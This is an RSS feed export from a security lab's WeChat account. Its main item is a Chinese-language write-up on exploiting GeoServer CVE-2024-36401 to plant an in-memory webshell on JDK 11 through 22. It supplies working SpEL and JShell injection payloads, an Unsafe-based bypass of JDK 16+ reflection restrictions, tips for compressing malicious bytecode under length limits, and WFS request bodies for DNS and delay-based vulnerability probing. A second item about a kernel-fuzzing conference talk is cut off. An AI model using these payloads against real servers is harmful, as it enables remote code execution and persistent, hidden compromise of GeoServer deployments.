<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Numen Cyber Labs</title>
    <link>https://wechat2rss.xlab.app/feed/48a421edf0498c3b7bf1321174ccc70c266bcd97.xml</link>
    <description>专注全球网络安全，传播网安知识，维护网安环境。致力于打造网安头部平台。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (Numen Cyber Labs)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6Gtiajz3Hmr3gwtdicRhD3LuibictKCEY3fV7M42uc6EzDqw/0</url>
      <title>Numen Cyber Labs</title>
      <link>https://wechat2rss.xlab.app/feed/48a421edf0498c3b7bf1321174ccc70c266bcd97.xml</link>
    </image>
    <item>
      <title>CVE-2024-36401 JDK 11-22 通杀内存马</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486232&amp;idx=1&amp;sn=5307e2418c9c5e8d33a08d63a91b77b7</link>
      <description>Numen 独家 CVE-2024-36401 JDK 11-22 通杀内存马</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2024-07-25 11:55</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>Numen 独家 CVE-2024-36401 JDK 11-22 通杀内存马</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=01486488&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0exB4eGsmEK5her4xibskb0ZXpxHUE1icSptWS4QOMA9yUzGUm9l2dK0ptM66uCNPOibeECkc2A2pTGg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n2" mdtype="heading"><span style="font-size: 26px;"><strong>前言</strong></span></h2><p cid="n3" mdtype="paragraph">在看到 yzddMr6 师傅的 《<a href="https://mp.weixin.qq.com/s?__biz=Mzg2MTc1NDAxMA==&amp;mid=2247484076&amp;idx=1&amp;sn=4064cb6a006f5cc454b7fb982e8ab9c6&amp;scene=21#wechat_redirect" data-linktype="2">GeoServer property RCE注入内存马</a>》之后的第一反应是，在 JDK 15 之后不再默认包含 JS 引擎的解析包了，这也就意味着 JDK 15 之后无法按照这个思路去写内存马。这篇文章将展示我当时对这个漏洞的其他内存马利用尝试的过程，最终决定了使用了 SpEL 表达式注入的方式成功注入了内存马，将利用的 JDK 版本提升到了 JDK 22。</p><h2 cid="n4" mdtype="heading"><span style="font-size: 26px;"><strong>BCEL 的尝试</strong></span></h2><p cid="n5" mdtype="paragraph">在分析的过程中，发现 lib 中存在 BCEL 的 ClassLoader。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002576" data-ratio="0.40971357409713577" data-s="300,640" style="" data-type="png" data-w="803" src="https://wechat2rss.xlab.app/img-proxy/?k=9a8cec97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0exB4eGsmEK5her4xibskb0ZZzVv0gglApnic0dA37ibNHg1JUkJTLpibb96DLfKdOrsJicA9lgKib6XMhg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n7" mdtype="paragraph"><br/></p><p cid="n7" mdtype="paragraph">但是在调试 BCEL 表达式注入的过程中发现，简单的命令执行的 BCEL 表达式都无法执行。在调试之后发现，BCEL 表达式执行过程中 createClass 一定会报错，导致无法返回 clazz，也就无法加载任意类。本来以为可以简简单单的 BCEL 表达式注入在这里无法做内存马注入。</p><h2 cid="n8" mdtype="heading"><span style="font-size: 26px;"><strong>JShell 的尝试</strong></span></h2><p cid="n9" mdtype="paragraph">从 Java 9 开始提供了一个叫 JShell 的功能，JShell 是一个 REPL(Read-Eval-Print Loop) 命令行工具，提供了一个交互式命令行界面，在 JShell 中我们不再需要编写类也可以执行Java代码片段。</p><p cid="n10" mdtype="paragraph"><strong>JShell 注入代码片段的 PoC</strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">eval</span>(build(jdk.jshell.JShell.builder()),<span class="code-snippet__string">&#39;YOUR-JAVA-CODE&#39;</span>)</span></code></pre></section><p cid="n12" mdtype="paragraph">由于受漏洞影响的版本的 GeoServer 的 JDK 版本是 11 -17，所以这里计划一部到位，随便绕过 JDK 16 开始的反射限制。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer">eval(build(jdk.jshell.JShell.builder()),&#39; import sun.misc.Unsafe; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class UnsafeTest { public static void test() { try { String payload = &#34;Base64-PAYLOAD&#34;; Class&amp;lt;?&amp;gt; unSafe=Class.forName(&#34;sun.misc.Unsafe&#34;); Field unSafeField=unSafe.getDeclaredField(&#34;theUnsafe&#34;); unSafeField.setAccessible(true); Unsafe unSafeClass= (Unsafe) unSafeField.get(null); Module baseModule=Object.class.getModule(); Class&amp;lt;?&amp;gt; currentClass= UnsafeTest.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField(&#34;module&#34;)); unSafeClass.getAndSetObject(currentClass,addr,baseModule); Class&amp;lt;?&amp;gt; byteArrayClass = Class.forName(&#34;[B&#34;); Method defineClass = ClassLoader.class.getDeclaredMethod(&#34;defineClass&#34;, String.class, byteArrayClass, int.class, int.class); defineClass.setAccessible(true); Class&amp;lt;?&amp;gt; calc= (Class&amp;lt;?&amp;gt;) defineClass.invoke(ClassLoader.getSystemClassLoader(), &#34;attack&#34;, Base64.getDecoder().decode(payload), 0, Base64.getDecoder().decode(payload).length); calc.newInstance(); }catch (Exception e){} } } UnsafeTest.test();&#39;)</span></code></pre></section><p cid="n12" mdtype="paragraph">然而在后续的测试中发现，在此漏洞中 JShell 无法执行类中的方法或者静态代码块，故也放弃这条内存马注入的思路。</p><p><strong><span style="font-size: 26px;">SpEL 注入内存马</span></strong></p><h3 cid="n16" mdtype="heading"></h3><h3 cid="n16" mdtype="heading"><span style="font-size: 20px;"><strong>JDK11 - 15</strong></span></h3><p cid="n17" mdtype="paragraph">SpEL 的 PoC 很好构造，需要注意的是 payload 中没有 # 和 {}。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">toString</span>(<span class="code-snippet__selector-tag">getValue</span>(<span class="code-snippet__selector-tag">parseRaw</span>(<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.springframework</span><span class="code-snippet__selector-class">.expression</span><span class="code-snippet__selector-class">.spel</span><span class="code-snippet__selector-class">.standard</span><span class="code-snippet__selector-class">.SpelExpressionParser</span><span class="code-snippet__selector-class">.new</span>(),&#34;<span class="code-snippet__selector-tag">YOUR-SPEL-CODE</span>&#34;)))</span></code></pre></section><p cid="n19" mdtype="paragraph">当我还默认以为可以直接使用 JMG 生成 SPEL 格式的内存马注入 payload 直接注入时发现一个异常：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">org.springframework.expression.spel.SpelEvaluationException: EL1079E: SpEL expression <span class="code-snippet__keyword">is</span> too <span class="code-snippet__keyword">long</span>, exceeding the threshold of <span class="code-snippet__string">&#39;10,000&#39;</span> characters</span></code></pre></section><p style="text-align: left;">异常抛出的原因是 SpEL 的 payload 字符串长度超过了 10,000：Issue #30380 ·  Make maximum SpEL expression length configurable)[<a href="https://github.com/spring-projects/spring-framework/issues/30380]，该值可以通过反射修改，缺点需要打两次请求。" target="_blank">https://github.com/spring-projects/spring-framework/issues/30380]，该值可以通过反射修改，缺点需要打两次请求。</a></p><p cid="n22" mdtype="paragraph"><strong>org.springframework.expression.spel.ast.OperatorMatches#checkRegexLength</strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">void</span> checkRegexLength(<span class="code-snippet__built_in">String</span> regex) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (regex.length() &gt; <span class="code-snippet__number">1000</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> SpelEvaluationException(<span class="code-snippet__keyword">this</span>.getStartPosition(), SpelMessage.MAX_REGEX_LENGTH_EXCEEDED, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__number">1000</span>});</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p cid="n24" mdtype="paragraph">通过观察 JMG 的 payload 我们可以看到，其中恶意字节码是直接使用 Base64 编码的。众所周知，class 文件经过一次 Base64 编码会使得恶意字节码字符串大小增加，这个时候我们可以考虑使用 gzip 先压缩 class 文件，接着再套一层 Base64 编码，这样可以大大缩小 SpEL 表达式的长度。</p><p cid="n25" mdtype="paragraph"><strong>gzip + Base64 编码的 PoC</strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),&#34;T(org.springframework.cglib.core.ReflectUtils).defineClass(&#39;Calc&#39;,T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString(&#39;gzip + Base64&#39;)))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()&#34;)))</span></code></pre></section><p>这样即可直接完成内存马的注入。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002579" data-ratio="0.425" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1eba5c9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0exB4eGsmEK5her4xibskb0ZVCa90KQnAqEj8Kia9KicSOVBYSnGkVofT6zcLheYyOVjnDK9WmKLZXBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 cid="n29" mdtype="heading"><span style="font-size: 20px;"><strong>JDK 16 以上的反射限制绕过</strong></span></h3><p cid="n30" mdtype="paragraph"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">文章到此依然没能完成对于高版本的反射限制，这里笔者发现，JMG 默认的反射操作是使用 </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">ReflectUtils</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"> 的方法，在代码执行的一开始就会直接开始触发反射限制，笔者经过多种嵌套尝试都无法绕过。</span><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">上文的 SpEL 方法适用版本止步于 JDK 15，JDK 16+ 的利用还要寄希望于绕过反射限制</strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">多次注入后一直会出现报错 </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">module java.base does not &#34;opens java.lang&#34; to unnamed module</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">，而且即使将绕过代码添加进入注入器或者内存马内都依然出现此异常。</span><br/></p><p cid="n95" mdtype="paragraph"><strong><span style="font-size: 16px;">多次调试后发现，是来源于 ReflectUtils 反射操作的限制。也就说，只要绕过了这里的 setAccessible(true) ，本漏洞的利用即可完成 bypass JDK16+ 的反射限制，从而完成更高版本的内存马注入。</span></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">org.springframework.cglib.core.ReflectUtils#defineClass(java.lang.String,byte[],java.lang.ClassLoader, java.security.ProtectionDomain, java.lang.Class&lt;?&gt;)</span></code></pre></section><p style="text-align: center;"><span style="display: none;line-height: 0px;">‍</span><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002578" data-ratio="0.5888888888888889" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0c112f6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0exB4eGsmEK5her4xibskb0ZibWVBPE42ETH54ZS8fEbFzaID7zd38oLI0icjaqaPMzddxmlfA2mGDicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>然而，笔者一开始实际上一直没有发现问题可能出现在这里，在初期尝试的时候一直认为类似 module java.base does not &#34;opens java.lang&#34; to unnamed module 的报错是发生在 JMG Jetty 内存马加载的过程中的（②），而不是一开始的类加载 注入器 的过程中（①）。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002577" data-ratio="0.08981481481481482" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=65f2050f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0exB4eGsmEK5her4xibskb0ZPLFm3Pew5BuyBqicJ7spqicVENdibFjbknPnywyK8GhBGNtg3Q295G6KA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n36" mdtype="paragraph">这里给出解决的 Payload：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">T(org.springframework.cglib.core.ReflectUtils).defineClass(&#39;org.springframework.expression.Test&#39;,T(java.util.Base64).getDecoder().decode(&#39;YOUR-BASE64&#39;),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(&#34;org.springframework.expression.ExpressionParser&#34;))</span></code></pre></section><p cid="n41" mdtype="paragraph">这个与一开始我设计的 Payload 的不同的地方在于，使用的底层 defineClass 的方法不同：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">// 修改前的 Payload</span></code><code><span class="code-snippet_outer">public static Class defineClass(String className, byte[] b, ClassLoader loader)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// bypass JDK16+ 的 Payload</span></code><code><span class="code-snippet_outer">public static Class defineClass(String className, byte[] b, final ClassLoader loader, ProtectionDomain protectionDomain, final Class&lt;?&gt; contextClass)</span></code></pre></section><p cid="n40" mdtype="paragraph">其中类加载器不同；指定了 contextClass ；而且需要恶意类在 org.springframework.expression 包下。如此修改可以使得代码进入没有 setAccessible(true) 的分支，那么自然就没有反射的限制了，从而完成更高版本的内存马注入（①）。</p><p cid="n44" mdtype="paragraph">目前位置我们需要做：</p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p cid="n108" mdtype="paragraph">修改 SpEL 的 payload；</p></li><li><p cid="n110" mdtype="paragraph">修改 JMG 内存马注入器的包名在 org.springframework.expression 下；我们到此为止解决了 ① 的问题，② 的问题就很容易解决了，参考第三点。</p></li><li><p cid="n111" mdtype="paragraph">在恶意字节码（内存马）中添加反射绕过代码：</p></li></ol><p cid="n50" mdtype="paragraph"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">Class unsafeClass = Class.forName(<span class="code-snippet__string">&#34;sun.misc.Unsafe&#34;</span>);</span></code><code><span class="code-snippet_outer">Field unsafeField = unsafeClass.getDeclaredField(<span class="code-snippet__string">&#34;theUnsafe&#34;</span>);</span></code><code><span class="code-snippet_outer">unsafeField.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">Unsafe <span class="code-snippet__keyword">unsafe</span> = (Unsafe) unsafeField.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">Module module = Object.class.getModule();</span></code><code><span class="code-snippet_outer">Class cls = HelpUtils.class;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">long</span> offset = <span class="code-snippet__keyword">unsafe</span>.objectFieldOffset(Class.class.getDeclaredField(<span class="code-snippet__string">&#34;module&#34;</span>));</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">unsafe</span>.getAndSetObject(cls, offset, module);</span></code><code><span class="code-snippet_outer">Method defineClass = ClassLoader.class.getDeclaredMethod(<span class="code-snippet__string">&#34;defineClass&#34;</span>, <span class="code-snippet__keyword">byte</span>[].class, Integer.TYPE, Integer.TYPE);</span></code><code><span class="code-snippet_outer">defineClass.setAccessible(<span class="code-snippet__literal">true</span>);</span></code></pre></section><p cid="n53" mdtype="paragraph">可能会遇到的问题：</p><p cid="n53" mdtype="paragraph"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">以上三步都很简单，但是在重新生成恶意类的 Base64 的时候大家可能还会遇到一个问题，即使使用了 gzip 压缩的方式，最终的 Base64 字符串依然超过了 10000 的长度限制。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">这里提供一个手动编译恶意字节码的一个小技巧，可以大大限制字节码的膨胀。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">（不生成调试信息，并在编译时显示未经检查的操作和已弃用代码的警告。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">）</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">javac</span> <span class="code-snippet__selector-tag">-g</span><span class="code-snippet__selector-pseudo">:none</span> .\<span class="code-snippet__selector-tag">YOUR-Evil</span><span class="code-snippet__selector-class">.java</span> <span class="code-snippet__selector-tag">-Xlint</span><span class="code-snippet__selector-pseudo">:unchecked</span>  <span class="code-snippet__selector-tag">-Xlint</span><span class="code-snippet__selector-pseudo">:deprecation</span></span></code></pre></section><ol class="list-paddingleft-1" start="4" cid="n57" mdtype="list" style=";"><li><p cid="n59" mdtype="paragraph">手动编译恶意字节码，gzip 压缩字节码后转换成 Base64 输出，将字符串填充到 Payload 中；</p></li><li><p cid="n61" mdtype="paragraph">发送报文，一键注入内存马。</p></li></ol><p cid="n61" mdtype="paragraph"><br/></p><p cid="n61" mdtype="paragraph"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 26px;">扩展</span></strong></p><p cid="n61" mdtype="paragraph">dnslog 检测：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">wfs:GetPropertyValue</span> <span class="code-snippet__attr">service</span>=<span class="code-snippet__string">&#39;WFS&#39;</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#39;2.0.0&#39;</span></span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">xmlns:topp</span>=<span class="code-snippet__string">&#39;<a href="http://www.openplans.org/topp" target="_blank">http://www.openplans.org/topp</a>&#39;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">xmlns:fes</span>=<span class="code-snippet__string">&#39;<a href="http://www.opengis.net/fes/2.0" target="_blank">http://www.opengis.net/fes/2.0</a>&#39;</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">xmlns:wfs</span>=<span class="code-snippet__string">&#39;<a href="http://www.opengis.net/wfs/2.0" target="_blank">http://www.opengis.net/wfs/2.0</a>&#39;</span>&gt;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">wfs:Query</span> <span class="code-snippet__attr">typeNames</span>=<span class="code-snippet__string">&#39;sf:archsites&#39;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">wfs:valueReference</span>&gt;</span>java.net.InetAddress.getAllByName(&#34;&#34;)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">wfs:valueReference</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">wfs:GetPropertyValue</span>&gt;</span></span></code></pre></section><h2 cid="n62" mdtype="heading">延迟检测：<strong><span style="caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></strong></h2><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;wfs:GetPropertyValue service=&#39;WFS&#39; version=&#39;2.0.0&#39;</span></code><code><span class="code-snippet_outer"> xmlns:topp=&#39;<a href="http://www.openplans.org/topp" target="_blank">http://www.openplans.org/topp</a>&#39;</span></code><code><span class="code-snippet_outer"> xmlns:fes=&#39;<a href="http://www.opengis.net/fes/2.0" target="_blank">http://www.opengis.net/fes/2.0</a>&#39;</span></code><code><span class="code-snippet_outer"> xmlns:wfs=&#39;<a href="http://www.opengis.net/wfs/2.0" target="_blank">http://www.opengis.net/wfs/2.0</a>&#39;&gt;</span></code><code><span class="code-snippet_outer">  &lt;wfs:Query typeNames=&#39;sf:archsites&#39;/&gt;</span></code><code><span class="code-snippet_outer">  &lt;wfs:valueReference&gt;java.lang.Thread.sleep(10000)</span></code><code><span class="code-snippet_outer">&lt;/wfs:valueReference&gt;</span></code><code><span class="code-snippet_outer">&lt;/wfs:GetPropertyValue&gt;</span></code></pre></section><p><br/></p><h2 cid="n62" mdtype="heading"><strong><span style="font-size: 26px;">总结</span></strong></h2><p cid="n63" mdtype="paragraph">本文通过 SpEL 表达式执行的方式完成内存马注入攻击，完成了两处的 JDK 高版本反射限制，其中通过一个手动编译字节码的技巧和 gzip 压缩字节码的方式对最后的 Base64 进行压缩，最终完成了 JDK 11 - 22（经过测试） 的全版本 JDK 通杀。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100001357" data-ratio="1.9544444444444444" data-s="300,640" style="" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=184d5cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0com47Ajdqk5Z6pve1WziaPcguMLs6a6iclo1ubX1G9OIFDBrcLq64ucwRWLwrRMECcxcaIVfeyJJUg%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486232">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=894142f9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486232%26idx%3D1%26sn%3D5307e2418c9c5e8d33a08d63a91b77b7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 Jul 2024 11:55:00 +0800</pubDate>
    </item>
    <item>
      <title>Off-by-One Conference 2024议题：经典目标中被遗忘的宝藏</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486222&amp;idx=1&amp;sn=84ee657bdd47567f0be2ed63382bbed0</link>
      <description>OFF-BY-ONE Conference在新加坡举行，我们有幸发表了题，介绍Linux kernel 漏洞挖掘Fuzz方面的一些技巧</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen labs</span> <span>2024-07-03 14:15</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>OFF-BY-ONE Conference在新加坡举行，我们有幸发表了题，介绍Linux kernel 漏洞挖掘Fuzz方面的一些技巧</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9a63d600&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYFFn5qfcZRjqoUFv2ZpjYYutbfQVX33mTTLu6tzNgZPcIRXDJicNMlmibw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


